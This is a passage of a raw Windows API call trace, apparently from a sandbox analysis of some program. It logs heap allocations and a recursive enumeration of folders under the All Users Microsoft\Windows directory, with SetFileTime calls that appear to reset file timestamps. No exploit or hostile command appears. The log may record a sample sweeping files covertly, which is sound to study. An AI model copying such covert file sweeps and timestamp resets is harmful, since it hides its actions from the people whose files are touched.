(HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb6b8 [0091.878] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb5a8 [0091.879] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.879] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\DRM\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9180 [0091.879] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.879] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1 [0091.879] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 0 [0091.879] GetLastError () returned 0x12 [0091.879] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\DRM\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0091.879] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0091.879] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.879] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1 [0091.879] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb9e8 [0091.880] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\DRM\\Cache" (normalized: "c:\\users\\all users\\microsoft\\windows\\drm\\cache"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.880] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\DRM\\Cache" (normalized: "c:\\users\\all users\\microsoft\\windows\\drm\\cache"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0091.880] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0091.880] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.880] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0091.881] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.881] NtClose (Handle=0x17c) returned 0x0 [0091.881] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb9e8) returned 1 [0091.881] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb9e8 [0091.881] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fba70 [0091.882] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbb80 [0091.882] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\DRM\\Cache\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9180 [0091.882] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.882] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0091.882] GetLastError () returned 0x12 [0091.882] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\DRM\\Cache\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f40 [0091.882] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0091.882] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.882] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0091.882] GetLastError () returned 0x12 [0091.883] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbb80) returned 1 [0091.883] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0091.883] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fba70) returned 1 [0091.883] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb9e8) returned 1 [0091.883] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 0 [0091.883] GetLastError () returned 0x12 [0091.883] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0091.884] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0091.884] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb5a8) returned 1 [0091.884] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb6b8) returned 1 [0091.884] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeea3462, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GameExplorer", cAlternateFileName="")) returned 1 [0091.884] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb6b8 [0091.884] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\GameExplorer" (normalized: "c:\\users\\all users\\microsoft\\windows\\gameexplorer"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeea3462, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.885] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\GameExplorer" (normalized: "c:\\users\\all users\\microsoft\\windows\\gameexplorer"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0091.885] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0091.885] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.885] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0091.886] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.886] NtClose (Handle=0x16c) returned 0x0 [0091.886] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb6b8) returned 1 [0091.886] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb6b8 [0091.886] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb5a8 [0091.886] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.887] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\GameExplorer\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0091.887] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeea3462, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.887] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeea3462, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0091.887] GetLastError () returned 0x12 [0091.887] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\GameExplorer\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f40 [0091.887] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0091.887] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeea3462, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.887] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeea3462, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0091.887] GetLastError () returned 0x12 [0091.887] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0091.887] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0091.888] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb5a8) returned 1 [0091.888] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb6b8) returned 1 [0091.888] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80e53620, ftLastAccessTime.dwHighDateTime=0x1d305f5, ftLastWriteTime.dwLowDateTime=0x80e53620, ftLastWriteTime.dwHighDateTime=0x1d305f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Power Efficiency Diagnostics", cAlternateFileName="")) returned 1 [0091.888] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1340e10 [0091.889] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.889] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135a568 [0091.889] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics" (normalized: "c:\\users\\all users\\microsoft\\windows\\power efficiency diagnostics"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80e53620, ftLastAccessTime.dwHighDateTime=0x1d305f5, ftLastWriteTime.dwLowDateTime=0x80e53620, ftLastWriteTime.dwHighDateTime=0x1d305f5, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.889] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics" (normalized: "c:\\users\\all users\\microsoft\\windows\\power efficiency diagnostics"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0091.889] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0091.889] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.890] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0091.890] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.890] NtClose (Handle=0x15c) returned 0x0 [0091.890] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x135a568) returned 1 [0091.890] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.891] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb6b8 [0091.891] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135a568 [0091.891] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.891] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135a358 [0091.892] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f40 [0091.893] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80e53620, ftLastAccessTime.dwHighDateTime=0x1d305f5, ftLastWriteTime.dwLowDateTime=0x80e53620, ftLastWriteTime.dwHighDateTime=0x1d305f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.893] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb4a5dfc0, ftCreationTime.dwHighDateTime=0x1d2faf9, ftLastAccessTime.dwLowDateTime=0xb4a5dfc0, ftLastAccessTime.dwHighDateTime=0x1d2faf9, ftLastWriteTime.dwLowDateTime=0x7f828940, ftLastWriteTime.dwHighDateTime=0x1d305f5, nFileSizeHigh=0x0, nFileSizeLow=0x2b0000, dwReserved0=0x0, dwReserved1=0x0, cFileName="energy-ntkl.etl", cAlternateFileName="")) returned 1 [0091.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.894] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.894] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.894] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.894] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.895] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1367b30 [0091.895] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb6b8) returned 1 [0091.895] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7cb8 [0091.895] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1367c38 [0091.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x9c00) returned 0x1386570 [0091.897] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9bd2ca0, ftCreationTime.dwHighDateTime=0x1d2faf9, ftLastAccessTime.dwLowDateTime=0xd9bd2ca0, ftLastAccessTime.dwHighDateTime=0x1d2faf9, ftLastWriteTime.dwLowDateTime=0xd9bd2ca0, ftLastWriteTime.dwHighDateTime=0x1d2faf9, nFileSizeHigh=0x0, nFileSizeLow=0x7122, dwReserved0=0x0, dwReserved1=0x0, cFileName="energy-report-2017-07-12.xml", cAlternateFileName="")) returned 1 [0091.897] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.897] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.897] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.898] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7cd8 [0091.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1367d40 [0091.899] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.899] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80e53620, ftCreationTime.dwHighDateTime=0x1d305f5, ftLastAccessTime.dwLowDateTime=0x80e53620, ftLastAccessTime.dwHighDateTime=0x1d305f5, ftLastWriteTime.dwLowDateTime=0x80e53620, ftLastWriteTime.dwHighDateTime=0x1d305f5, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="energy-report-2017-07-26.xml", cAlternateFileName="")) returned 1 [0091.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.899] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.900] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.900] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.900] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7cf8 [0091.900] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1367e48 [0091.901] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.901] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9b145c0, ftCreationTime.dwHighDateTime=0x1d2faf9, ftLastAccessTime.dwLowDateTime=0xd9b145c0, ftLastAccessTime.dwHighDateTime=0x1d2faf9, ftLastWriteTime.dwLowDateTime=0x80e53620, ftLastWriteTime.dwHighDateTime=0x1d305f5, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="energy-report-latest.xml", cAlternateFileName="")) returned 1 [0091.901] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.901] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.901] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.902] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7d18 [0091.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1367f50 [0091.903] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.903] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9c91380, ftCreationTime.dwHighDateTime=0x1d2faf9, ftLastAccessTime.dwLowDateTime=0xd9c91380, ftLastAccessTime.dwHighDateTime=0x1d2faf9, ftLastWriteTime.dwLowDateTime=0x812c9f60, ftLastWriteTime.dwHighDateTime=0x1d305f5, nFileSizeHigh=0x0, nFileSizeLow=0x41f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="energy-report.html", cAlternateFileName="")) returned 1 [0091.903] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.903] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.903] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.904] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.904] RtlAllocateHeap (HeapHandle=0x940000, 